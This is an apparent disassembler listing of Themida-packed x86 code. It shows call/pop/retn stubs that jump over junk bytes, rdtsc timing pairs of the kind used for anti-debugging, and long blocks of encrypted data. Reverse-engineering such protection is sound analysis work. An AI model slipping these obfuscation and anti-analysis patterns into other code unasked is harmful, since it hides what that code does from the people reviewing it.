sub_5C0A11	proc near		; CODE XREF: Themida_:005C0A09p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5C0A11	endp

; ---------------------------------------------------------------------------
		db 0EAh, 94h, 7Fh
; ---------------------------------------------------------------------------
		cmpsd
		dec	ebx
		lodsb
		popa
		mov	eax, 0
		push	0
		push	ebx
		call	sub_5C0A38
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0A38	proc near		; CODE XREF: Themida_:005C0A30p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5C0A38	endp

; ---------------------------------------------------------------------------
		dd 0E5D0494Ah, 820F067Ah, 6, 2BE9958Bh,	4C207E4h, 38F0F00h
		dd 66000000h
; ---------------------------------------------------------------------------
		mov	edx, ecx


loc_5C0A66:				; CODE XREF: Themida_:005C0A00j
		mov	eax, eax
		sub	[ebp+7E42A21h],	esi
		cmp	dword ptr [ebp+7E413F1h], 0
		jnz	short loc_5C0A80
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5C0A93


loc_5C0A80:				; CODE XREF: Themida_:005C0A75j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 4D0h
		lea	ebx, [ebp+7E6E7C4h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5C0A93:				; CODE XREF: Themida_:005C0A7Ej
		cmp	dword ptr [ebp+7E40935h], 0
		jz	short loc_5C0AAD
		push	eax
		push	ebx
		mov	eax, 4D0h
		lea	ebx, [ebp+7E6E711h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5C0AAD:				; CODE XREF: Themida_:005C0A9Aj
		push	0
		push	edi
		call	sub_5C0AB8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0AB8	proc near		; CODE XREF: Themida_:005C0AB0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5C0AB8	endp

; ---------------------------------------------------------------------------
		dd 63AE3C4Dh, 108AF5A2h, 4FE98022h, 0D2F78166h,	57006ACDh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0CA7726A5h, 8B848F31h, 8B8AB9C0h, 858D62BAh,	7E7E531h
		dd 3758589h, 509007E4h,	0AE8h, 0C51D4800h, 754D3FE9h, 6096DF3Ah
		dd 6E9h, 13E63200h, 0B849963Bh,	77C4F720h, 23905A61h, 0E41DE9BDh
		dd 0EE858D07h
dword_5C0B3C	dd 6A07E7E4h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
					; DATA XREF: Themida_:005857DCo
		dd 1C042444h, 43000000h, 50C4C353h, 7B2F2A7h, 5345BD82h
		dd 6AF8BA66h, 66609059h, 618366BEh, 90F48A50h, 8A1BCA81h
		dd 85891EF6h, 7E43179h,	17DD95FFh, 0CA8107E4h, 5D83452h
		dd 424448Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0DDC35040h, 0A3C5EFD5h,	0FAB70F60h, 61F28B66h
		dd 0E5198589h, 13E807E7h, 4B000000h, 0D6B88545h, 0F3874B80h
		dd 0C54E937Dh, 4D4C64DCh, 8D016D34h, 7E42D35h, 24448B5Fh
		dd 53006A08h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0AB23D44Dh, 0E89F1B7Dh, 99BD8962h, 6607E41Eh
		dd 7EF3DA81h, 0E52D8589h, 0B96607E7h, 0BD83360Fh, 7E42635h
		dd 0D7850F00h, 80000000h, 85C6D8F6h, 7E42C2Dh, 52006A47h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 7AA6108Eh, 3622D379h, 98206868h, 0BA5250A5h,	61F0131Dh
		dd 0AE8310Fh, 0AC000000h, 2DC7862Bh, 3C307880h,	0FB96623h
		dd 585A593Ch, 0BA243481h, 6A710287h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 9C4BC351h
		dd 950164ABh, 7E431DDh,	3860Fh,	0BF0F0000h, 41B5FFCEh
		dd 8D07E421h, 0E7B0A785h, 0E8D0FF07h, 12h, 51D9A591h, 1BCA01B0h
		dd 0B498EF72h, 9FAC0999h, 0BD899CB3h, 7E4056Dh,	3585895Ah
		dd 6A07E426h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 83A1C356h, 0BD83D30Bh,	7E41B81h
		dd 0B6850F00h, 0F000000h, 1F86h, 19870F00h, 0E9000000h
		dd 14h,	580E554Dh, 0CD379E72h, 7F85C2AEh, 67CA456Eh, 62EC2544h
		dd 2C2D85C6h, 534707E4h, 34685AFCh, 0B6519ECFh,	240481B5h
		dd 3870E6AEh, 0B15958Bh, 0B5FF07E4h, 7E42141h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9DC35747h, 0ABC89AB3h
		dd 0A7858DA0h, 8907E7B0h, 0E41569B5h, 8E807h, 7D6D0000h
		dd 0C2EE143Dh, 0D38B9645h, 6AD0FF59h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89F4C351h
		dd 0E4027995h, 81858907h, 8B07E41Bh, 0E42F6D8Dh, 35BD8307h
		dd 7E41Fh, 0ED850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 7F1C60C3h, 0C9F0B87Fh
		dd 0E915DF0Fh, 7, 70DB12A0h, 0C6796580h, 0E42C2D85h, 8A0F5607h
		dd 3, 68FEBF0Fh, 69FDE19Bh, 10E95250h, 9000000h, 5B3892CEh
		dd 5A0EB91h, 0DB042EA4h, 0F588832h, 81585A31h, 8B9E2404h
		dd 81666A21h, 0FF2D42F2h, 0E42141B5h, 858DF807h, 7E7B0A7h
		dd 0C8D0Fh, 870F0000h, 6, 2DF2C281h, 0D0FF6344h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h, 0BCF261B5h
		dd 360C10D4h, 0D18D3381h, 8B07E40Dh, 0E419498Dh, 35858907h
		dd 6A07E41Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0FE7C350h, 687h, 28F18100h, 0C6356062h
		dd 0E42C2D85h, 8D236C07h, 7E41BE1h, 0F9CCDB68h,	816160A1h
		dd 0A3A82404h, 6A390Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0FF44BDC3h, 0E4019DB5h, 0FE907h
		dd 0CFB20000h, 9663C294h, 8E795FE1h, 91EBF02Ah,	8850F1Bh
		dd 60000000h, 0FD1BF0Fh, 8D61DEB7h, 0E43BDC85h,	0FE907h
		dd 22250000h, 0EE4B1908h, 411CC24Fh, 5482FC27h,	6AD0FF3Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 1D1C353h,	8003A219h, 85897CE1h, 7E7E51Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0AFC35646h
		dd 0C4CA9019h, 8AD18B66h, 39BD83CBh, 7E7E5h, 0DF850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0E298ADC3h, 9E8B3h, 6A60000h, 85A800A6h
		dd 6089C62Dh, 12E9h, 61E9CF00h,	0AB2903DEh, 98489A33h
		dd 0ADB964B7h, 6047A9E4h, 0C65A6161h, 0E42C2D85h, 8D8B4907h
		dd 7E42321h, 0DE9h, 3784C000h, 7973563h, 0B9ABFF91h, 0D168DE5Ah
		dd 0F0E8D2Ah, 886h, 8F0F6000h, 0
; ---------------------------------------------------------------------------
		popa
		add	dword ptr [esp], 7D87FF18h
		jb	loc_5C101C
		mov	dl, cl


loc_5C101C:				; CODE XREF: Themida_:005C1014j
		push	dword ptr [ebp+7E4019Dh]
		or	[ebp+7E41DE5h],	ebx
		lea	eax, [ebp+7E43BDCh]
		movzx	ecx, cx
		call	eax
		and	edx, 4B460114h
		mov	[ebp+7E7E539h],	eax
		push	0
		push	ebp
		call	sub_5C104A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C104A	proc near		; CODE XREF: Themida_:005C1042p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5C104A	endp

; ---------------------------------------------------------------------------
		dw 0CA6Dh
; ---------------------------------------------------------------------------
		lahf
		sub	ecx, 0EBC7E413h
		cmc
		jmp	loc_5C1071
; ---------------------------------------------------------------------------
		db 0D4h, 69h, 3Eh
		dd 424CA399h
		db 1Dh
; ---------------------------------------------------------------------------


loc_5C1071:				; CODE XREF: Themida_:005C1064j
		push	4
		mov	ch, 0DEh
		call	sub_5C107E
		add	[eax], dl
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_5C107E	proc near		; CODE XREF: Themida_:005C1075p

var_4		= dword	ptr -4

		mov	edx, 601EB2C8h
		push	eax
		mov	edx, 74614CE6h
		mov	eax, [esp+4]
		push	eax
		push	edx
		rdtsc
		pusha
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		push	ecx
		pop	ebx
		popa
		pop	edx
		pop	eax
		mov	eax, [eax]
		mov	di, 6C78h
		mov	[esp+4], eax
		pop	eax
		mov	[ebp+7E42C0Dh],	esi
		push	6BC12884h
		push	eax
		mov	dl, 0C0h
		pop	ecx
		xor	[esp+4+var_4], 6BC02884h
		push	0
		push	edx
		call	sub_5C10C9
		and	[edx-3Dh], bl
sub_5C107E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C10C9	proc near		; CODE XREF: sub_5C107E+43p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5C10C9	endp

; ---------------------------------------------------------------------------
		mov	al, ds:5EB1E5F2h
		push	0
		jmp	loc_5C10EF
; ---------------------------------------------------------------------------
		db 8Bh,	2, 4Bh
		dd 7EED53F9h
		db 2Dh,	71h, 70h
; ---------------------------------------------------------------------------


loc_5C10EF:				; CODE XREF: Themida_:005C10E0j
		call	dword ptr [ebp+7E423E1h]
		push	0
		push	edi
		call	sub_5C1100
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1100	proc near		; CODE XREF: Themida_:005C10F8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5C1100	endp

; ---------------------------------------------------------------------------
		dec	edi
		sbb	al, 1Ch
		pop	ebx
		and	eax, 0B55F899h
		push	ebx
		mov	dl, 4Ch
		pop	ecx
		mov	[ebp+7E7E529h],	eax
		push	0
		push	ebp
		call	sub_5C112E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C112E	proc near		; CODE XREF: Themida_:005C1126p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5C112E	endp

; ---------------------------------------------------------------------------
		dw 96BDh
		dd 0EE9358Bh, 0DB000000h, 9D4901A1h, 0BA900ADh,	6950E671h
		dd 2185C7C2h, 7E7E5h, 66000000h, 6AEE8ABFh, 2BB96600h
		dd 713168CCh, 3481033Dh, 3C713124h, 0DF816603h,	8B905208h
		dd 0BA6650F9h, 6A909FC7h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0FE1CC357h,	1B8BEC9Ch
		dd 9D8934B5h, 7E40E99h,	0E1C98166h, 6A0B6A7Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 749DC353h, 743A88D4h, 0D9BD8B5Bh, 8D07E42Ah,	0E7E4F685h
		dd 0FFB70F07h, 810F90h,	50000000h, 2990CA8Bh, 0E4258D95h
		dd 3595FF07h, 6A07E426h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 8101C353h, 89CA8B66h
		dd 0E4246D85h, 0B58D07h, 6A07E7E5h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0B07C355h
		dd 0E4245995h, 0FA8B9607h, 3820F50h, 66000000h,	6A96CA8Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 97B6C351h, 89F0F88Eh, 0CDCE6FB9h,	19BD033Dh
		dd 0BA07E423h, 345FACE6h, 58C0F90h, 0BF000000h,	491EF6F6h
		dd 12BA6650h, 6A90C4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 2400D2C3h, 892E7248h, 0E40DB9BDh
		dd 13E907h, 0ADAE0000h,	210316D3h, 0B86C0DCFh, 0EF686B57h
		dd 33A81DEh, 0BE9E5h, 50680000h, 1D67495Bh, 97EE631Ah
		dd 8195FFF6h, 0F07E41Bh, 0C00BF8BFh, 55850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 5297EAC3h, 819E5EC0h, 27F40CEFh, 753E92Ah, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E96A70C3h, 7, 6448D630h, 0FF8EB1E8h, 0FDBD8BD0h, 8B07E41Ah
		dd 0E7E529B5h, 6DBD2907h, 2B07E432h, 0E405F9BDh, 20468D07h
		dd 46AFB8Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0A9C35545h, 0FC62586h, 81h, 0BE85000h
		db 3 dup(0)
byte_5C139B	db 32h			; DATA XREF: Themida_:00582624o
		dd 35C98645h, 3E859BB5h, 895FAB1Dh, 958B2404h, 7E40D51h
		dd 0E53995FFh, 0B96607E7h, 0C00B3ED3h, 24840Fh,	0B1600000h
		dd 0DE99Ch, 0A10000h, 63F38D1Dh, 836F1A51h, 61205BF9h
		dd 69CE9h, 3840F00h, 0F000000h,	7E80D0B7h, 840F0020h, 689h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 44C35040h
		dd 1CE18D2Bh, 6A6007E4h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 7E4DC357h, 66C3D68Dh
		dd 0BB4EC981h, 6860Fh, 95290000h, 7E42491h, 6A20468Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0B0B9C353h, 0EC0E61B9h, 89EE8ABAh, 62CA8049h
		dd 0E5258589h, 6A07E7h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0A784B0C3h, 0A04AA276h, 0BD89B22Ah
		dd 7E40199h, 134E9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0B3DA1FD4h, 40D3BF0Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0D4C35040h
		dd 0CF374063h, 66A58143h, 0BA50D68Bh, 49795846h, 8B240489h
		dd 6A046AFEh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 4633C350h, 3351C570h, 0E413C58Dh
		dd 84BA5F07h, 901C4D40h, 10E9h,	74484600h, 0C5CF7D1h, 0DF4B38A2h
		dd 67319271h, 0BB6050B5h, 79B1C311h, 61DE8B66h,	53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 6B811153h, 3230BA66h, 0E53995FFh, 8D3107E7h,	7E41C05h
		dd 5158D88Bh, 12A99D29h, 0B5907E4h, 4E840FDBh, 0E9000000h
		dd 10h,	51B2CCA9h, 0C40E09DBh, 2E818A0Ch, 0F10A859Fh, 4D4E9h
		dd 8B606000h, 0F59589C7h, 6107E40Eh, 2F9DB58Bh,	526107E4h
		dd 1A890Fh, 14E80000h, 0EB000000h, 6570A636h, 8C425529h
		dd 0FD98B9Ah, 482BEE6Fh, 5FB6ADA3h, 388059h, 0FEE5850Fh
		dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 390ADDC3h, 0E52BE12Ah, 89E82363h,	0E4264195h
		dd 19E907h, 8A0F0000h, 0Ch, 68E0Fh, 880F0000h, 0
; ---------------------------------------------------------------------------


loc_5C1624:				; CODE XREF: Themida_:005C1657j
		dec	eax
		or	ecx, [ebp+7E426BDh]
		cmp	eax, [ebp+7E7E525h]
		jb	loc_5C168B
		pusha
		mov	ebx, [ebp+7E402E1h]
		mov	[ebp+7E42525h],	ecx
		popa
		cmp	byte ptr [eax],	5Ch
		jz	loc_5C168B
		mov	ecx, [ebp+7E41FD9h]
		cmp	byte ptr [eax],	2Fh
		jnz	loc_5C1624
		push	0
		push	eax
		call	sub_5C1668
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1668	proc near		; CODE XREF: Themida_:005C1660p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5C1668	endp

; ---------------------------------------------------------------------------
		dd 0A285C76Eh, 0F8A7A677h, 81566F23h, 97F039D9h
		db 6Ch,	5Fh, 0F5h
; ---------------------------------------------------------------------------


loc_5C168B:				; CODE XREF: Themida_:005C1631j
					; Themida_:005C1648j
		inc	eax
		push	0
		push	ebp
		call	sub_5C1697
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1697	proc near		; CODE XREF: Themida_:005C168Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5C1697	endp

; ---------------------------------------------------------------------------
		db 2Dh
		dd 60340172h, 156D9501h, 6ABF07E4h, 6157B8AEh, 76F0BF66h
		dd 0E52DBD83h, 0F0007E7h, 1DD84h, 418D2900h, 9007E425h
		dd 8B525050h, 50310FF8h, 0E9310F52h, 11h, 841D01EDh, 56C239B2h
		dd 0B895075Bh, 0A205AEC6h, 5A585AF7h, 6A9058h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 2700CBC3h, 0BD897DF5h, 7E423F1h, 0E52D8503h,	8D0307E7h
		dd 7E403C5h, 24048950h,	1D1D9D29h, 46A07E4h, 0F32BB8B9h
		dd 6E89033h
		db 3 dup(0)
byte_5C173F	db 9Fh			; DATA XREF: Themida_:00584B2Co
		dd 5C23F73Eh, 59FA8BB8h, 0BF525050h, 5A271CD2h,	6060310Fh
		dd 585A6161h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0F90C492h, 8ADC43BCh, 0A18D89F1h
		dd 8107E426h, 510FB2CAh, 3995FF35h, 6A07E7E5h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 8524C352h, 0D1EC2261h, 8D8BF3BFh, 7E41C15h, 1B499D89h
		dd 0D88B07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0D9C35747h, 4A9339E5h, 6613D937h, 58E6FEBFh, 0FDB0BF8h
		dd 6084h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 7C3B613Ch, 666F87E7h, 0F834C181h
		dd 4798D33h, 56E907E4h,	6A000002h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 4528C353h
		dd 268F0344h, 6800F59h,	89000000h, 0E4036D8Dh, 0C607h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0ABC35545h
		dd 0E1B7EB3Eh, 958B3F2Eh, 7E4321Dh, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 6732E88Fh
		dd 0B369137Ch, 8904F281h, 66900B63h, 8B50D68Bh,	0DE990D6h
		dd 0A6000000h, 0C1BD6682h, 0AB43D987h, 0E947A0DDh, 6A1E6Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0C757B4C3h, 5E9h, 9C793D00h,	840FC931h, 5, 0CA6962B9h
		dd 0CE95054h, 0C000000h, 0A008D39Fh, 6C3AD078h,	89D7163Fh
		dd 81662404h, 0FF0A16C9h, 0E7E53995h, 0C880F07h, 0E9000000h
		dd 7, 175C10C4h, 8BC7F997h, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0C2A5C05Fh
		dd 0FB5E78Ah, 1280h, 0DE900h, 765E0000h, 7832EB3Bh, 0C74F99D2h
		dd 58529DACh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	4DC35040h, 64DE0831h, 89344936h, 0FDB0B03h, 3284h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0E9684C11h, 0C5h, 9810Fh, 0F5600000h, 13A98D01h
		dd 506107E4h, 39B864BAh, 24048905h, 0B5FFFA8Bh,	7E7E519h
		dd 0BAFA8B66h, 525056D0h, 0E51D95FFh, 958B07E7h, 7E40B1Dh
		dd 850FC00Bh, 53h, 7E8h, 161C6900h, 0DDFEBFE6h,	56FFB966h
		dd 13E86159h, 1000000h,	0F7E65ED8h, 6E8CF65Bh, 0EEC6F854h
		dd 0DA1C8D1Ch, 0E180AC92h, 0BE95FCCh, 0C000000h, 0FA4C1BECh
		dd 794EBF76h, 85C7A74Fh, 7E7E521h, 1, 0B15B589h, 36E907E4h
		dd 61000000h, 12810Fh, 0DE90000h, 0C3000000h, 85EA17D9h
		dd 0B0505797h, 89357576h, 11CC681h, 95890000h, 7E43029h
		dd 6F98589h, 0F6E907E4h, 9FFFFF8h, 0E4013995h, 654E6807h
		dd 0AE94B0Eh, 16000000h, 79D2987Dh, 8967C5BBh, 2434816Ch
		dd 4B0EE54Eh, 148D8D09h, 958907E4h, 7E40111h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0B80C12C3h, 11496DF7h, 0B2EE33BFh, 29B5FF11h, 2907E7E5h
		dd 0E4183D9Dh, 3595FF07h, 8007E41Fh, 858B02D9h,	7E7E521h
		dd 7098D89h, 0E89007E4h, 7, 0D7DFDFBh, 5048EFA2h, 860F52h
		dd 0F000000h, 0F525031h, 5A585A31h, 50505958h, 0FD18B52h
		dd 6BF6631h, 90585A0Ch,	8DD7BF0Fh, 0E7E53185h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0C370B4A1h, 0ECC70F21h, 0F58D8B04h, 9007E42Ch, 198E0Fh
		dd 14E90000h, 28000000h, 19AF0878h, 8C4CA90h, 0CBE583FBh
		dd 0AB312E3Bh, 5039639Bh, 8B665250h, 60310FD6h,	5A616160h
		dd 0BD299058h, 7E4006Dh, 0E4EE858Dh, 0BF6607E7h, 8950D852h
		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0D00BC2C3h, 69FF5F37h, 66572AE7h,	0FF59CE8Bh
		dd 0E40B8195h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0C182235Dh, 6AC08Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 5F9860C3h, 0F88B6656h, 13F1BD83h, 750007E4h,	35BD8309h
		dd 7E409h, 53501374h, 0D0B8C08Bh, 8D000004h, 0E6E82B9Dh
		dd 5BD3FF07h, 35BD8358h, 7E409h, 53501174h, 4D0B8h, 2A9D8D00h
		dd 0FF07E6E7h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 1ECEC352h, 0EA91F8E5h
		dd 0E626D2BFh, 271958Bh, 0C08B07E4h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 6DC35545h, 9187C9F8h, 0B70F9A7Fh
		dd 6A58D0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 875905C3h, 59310C61h, 0FA8B660Bh,	6A0008C2h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 88B3C350h, 0D85EB253h
; ---------------------------------------------------------------------------


loc_5C1CDC:				; CODE XREF: Themida_:loc_5C09C8j
		mov	eax, eax
		push	0
		push	esi
		call	sub_5C1CE9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1CE9	proc near		; CODE XREF: Themida_:005C1CE1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5C1CE9	endp

; ---------------------------------------------------------------------------
		db 68h,	71h, 25h
		dd 12E9B7h, 5EA90000h, 77E4C385h, 0B34292A8h, 2E9134D1h
dword_5C1D10	dd 0EFCDFE2Fh, 0E56E858Dh, 0FA8B07E7h, 0E258589h, 39EB07E4h
					; DATA XREF: Themida_:00583E40o
		dd 0CB0000h, 0CB02CCh, 0CB02E4h, 0
		dd 44E8E2E2h, 75F1EE0Ch, 21E0E6CCh, 4CEBE2A5h, 4DE1A504h
		dd 75CB8BD8h, 21C9C71Eh
dword_5C1D50	dd 51CAFF63h, 49D1E5F3h, 45E4EE39h, 0AA70EBA5h,	7485E112h
					; DATA XREF: Themida_:00582E14o
					; Themida_:005838F8o
		dd 21858881h, 0E2D8ABB4h, 5E90207h, 5C10A29h, 21859392h
		dd 0E2D0CE4Bh, 5DBC6F58h, 7F420A2Fh, 0A2E73FCAh, 0C5967A09h
		dd 28F08B5Dh, 28B036AEh, 55858C72h, 0AAD6DB52h,	253C3365h
		dd 0A40C8BD2h, 26619F10h, 0C8751639h, 0F27A8CBCh, 9C06D376h
		dd 266182A3h, 7192FF4Bh, 253C33F6h, 0A40C8BD2h,	26619F10h
		dd 0C75A1639h, 0F27A8CBCh, 0ACB4D376h, 26618BB3h, 0C9D78B21h
		dd 21858BA6h, 7B46D1F2h, 25A1DFE0h, 25A1CF35h, 21858B42h
		dd 0F246D96Fh, 4166757Bh, 21EF4BC0h, 218663F5h,	79A58BD2h
		dd 650CD3AAh, 65048F90h, 21988F7Eh, 71C58B2Dh, 0F719A355h
		dd 0DD3B9E57h, 2ED5A8EEh, 21858753h, 27028469h,	8858BB4h
		dd 0C58BB6D7h, 0C004D2Ah, 77826FBAh, 2B4416C2h,	0E7ED8C41h
		dd 0AAB81808h, 5810AB9h, 7E915638h, 218580B3h, 3775B42Dh
		dd 462402C4h, 0EADD266Eh, 0C43E5Ah, 9C0E8C36h, 26618E7Ch
		dd 91220E39h, 94848CBDh, 2661AAB0h, 0AB8A5B69h,	21858B4Ch
		dd 21840FAAh, 12798BD2h, 0C5A372DCh, 4B81E1B3h,	226DD85Ah
		dd 1858B2Dh, 0A8DE48CDh, 0A081AF17h, 3A81AFE1h,	62858BD2h
		dd 5466483Ah, 643D91C4h, 0D0EDF08Eh, 0C8C04FF9h, 21858B98h
		dd 0D840A641h, 900738A0h, 72B14072h, 150499D7h,	0E5417A90h
		dd 7285E11Fh, 218588C5h, 0E2DEAB96h, 5D90210h, 5C10AA1h
		dd 21859ED6h, 0E2D6C869h, 9C0CD0DCh, 2661A903h,	0D60EED7Eh
		dd 39CAE3CCh, 2A6DD1C4h, 0E9858BA5h, 4C2D33D5h,	0BEE2E02Dh
		dd 2ED696F0h, 21858BDDh, 0A0DAD22Dh, 3B26AFA2h,	0BC0CD1C4h
		dd 26618250h, 21EF8BB8h, 21866338h, 78A58BB4h, 6D0CD299h
		dd 65048F09h, 21928FB2h, 70C48B4Bh, 42CC8466h, 3C100235h
		dd 0DE826F71h, 7385E164h, 218588B2h, 0E2DFAB2Dh, 5D102CCh
		dd 5C10A4Fh, 218591A1h,	0E2D7C9D2h, 2A56BB7Ch, 414D0FB7h
		dd 218585B3h, 255CB52Dh, 0FB6FC19Ah, 806B4EDBh,	2ECC2F3Bh
		dd 21858B58h, 0A40CEA69h, 2662732Dh, 0C9D58B30h, 21858B2Eh
		dd 7946D3B6h, 25A1CFC2h, 25A1CF24h, 21858BC9h, 6946DB29h
		dd 0F523598Bh, 12FCA898h, 0C590E290h, 247D0091h, 21858987h
		dd 0D9180E2Ch, 0E1068C35h, 80000271h, 12826C4Ch, 2369329Ah
		dd 8B768B2Dh, 0C9D28BFCh, 21858B48h, 7E46D485h,	25A1F75Bh
		dd 25A1CFE8h, 21858BAFh, 9846DC1Dh, 43497297h, 9E0F9EC6h
		dd 711E5BD9h, 218301AAh, 0B4868BD2h, 26619F04h,	21858C5Dh
		dd 0EA82F5Ah, 0AAED6CAAh, 0DA80E50h, 4BC68CAFh,	226DDDA5h
